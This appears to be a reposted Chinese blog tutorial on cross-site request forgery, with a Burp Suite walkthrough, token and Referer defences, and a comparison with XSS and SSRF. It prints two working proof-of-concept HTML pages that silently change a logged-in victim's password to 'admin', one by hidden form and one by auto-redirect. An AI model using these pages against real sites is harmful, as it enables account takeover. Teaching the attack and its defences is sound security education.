zoukankan      html  css  js  c++  java
  • CSRF漏洞

    0X00:前言

    CSRF:(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户的请求来利用受信任的网站。

    CSRF是借用用户的权限完成攻击,攻击者没有拿到受害者权限

    • 受害者必须在登录状态下,没有退出
    • 并且点击了连接

    如果受害者不在登陆状态,或者没有点击,则攻击不成功

    攻击原理:

     常见的危害:正常网站有的功能且存在漏洞

    • 发送邮件
    • 发表不良言论
    • 修改用户信息,密码
    • 转账
    • 配合其他漏洞攻击

    0X01:测试CSRF漏洞

    CSRF漏洞经常被用来制作蠕虫攻击、刷SEO流量等。下面试蠕虫攻击为例。

     用Burp Suite 抓包,Burp suite Pro  必须是Pro版本才有,自动构造CSRF PoC的功能(action--->Engagement tools--->Generate CSRF PoC)

    Burp Suite 会生成一段HTML代码,复制到一个html文件中

     

     该文件放到 某网站下,让用户点就可以了。用户必须在线

    <html>
    <!--csrf.html -->
    <body>
        <script>history.pushState('','','/')</script>
        <form action="http://xxxxxxx/csrf_1.php">
            <input type="hidden" name="password_new" value="admin" />
            <input type="hidden" name="password_conf" value="admin" />
            <input type="hidden" name="action" value="change" />
            <input type="submit" value="Submit request">
        </form>
    </body>
    
    </html>

     提交之后

     点击链接,直接修改密码,不需要点击按钮,再或者修改密码之后再跳转到正常的页面如www.baidu.com

    <html>
    <!--csrf.html -->
    <body>
        <script>history.pushState('','','/')</script>
            <script language="javascript" type="text/javascript">
            location.href = "http://xxxxxxxxxxxx/csrf_1.php?password_new=admin&password_conf=admin&action=change";
            </script>
    
    </body>
    </html>

    post数据,只要修改表单提交方式,即可

    0X04:利用Token防御CSRF

    if($_GET['sex']!=null && $_GET['phonenum']!=null && $_GET['add']!=null && $_GET['email']!=null && $_GET['token']==$_SESSION['token'])

    在每次提交的时候,都会生成一个一定长度并且随机的数跟在URL中,每次点击修改的时候会话中也会有Token,两个比较

    0Xff:总结

    操作能够实现呢。有如下几个关键点:
    1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
    ---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
    2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
    ---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
    ---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
    当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做:
    欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
    ---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

    CSRF和SSRF的区别:CSRF时针对用户,SSRF针对内网服务器


    因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如
    --对敏感信息的操作增加安全的token;
    --对敏感信息的操作增加安全的验证码;
    --对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

    --验证请求的Referer值,如果Referer是以自己的网站开头的域名,则说明该请求来自网站自己,是合法的。如果Referer是其他网站域名或者空白,就有可能是CSRF攻击,那么服务器应拒绝请求,但是此方法存在被绕过的可能。

  • 相关阅读:
    chrome浏览器中安装以及使用Elasticsearch head 插件
    windows10 升级并安装配置 jmeter5.3
    linux下部署Elasticsearch6.8.1版本的集群
    【Rollo的Python之路】Python 爬虫系统学习 (八) logging模块的使用
    【Rollo的Python之路】Python 爬虫系统学习 (七) Scrapy初识
    【Rollo的Python之路】Python 爬虫系统学习 (六) Selenium 模拟登录
    【Rollo的Python之路】Python 爬虫系统学习 (五) Selenium
    【Rollo的Python之路】Python 爬虫系统学习 (四) XPath学习
    【Rollo的Python之路】Python 爬虫系统学习 (三)
    【Rollo的Python之路】Python sys argv[] 函数用法笔记
  • 原文地址:https://www.cnblogs.com/liqik/p/11160806.html
Copyright © 2011-2022 走看看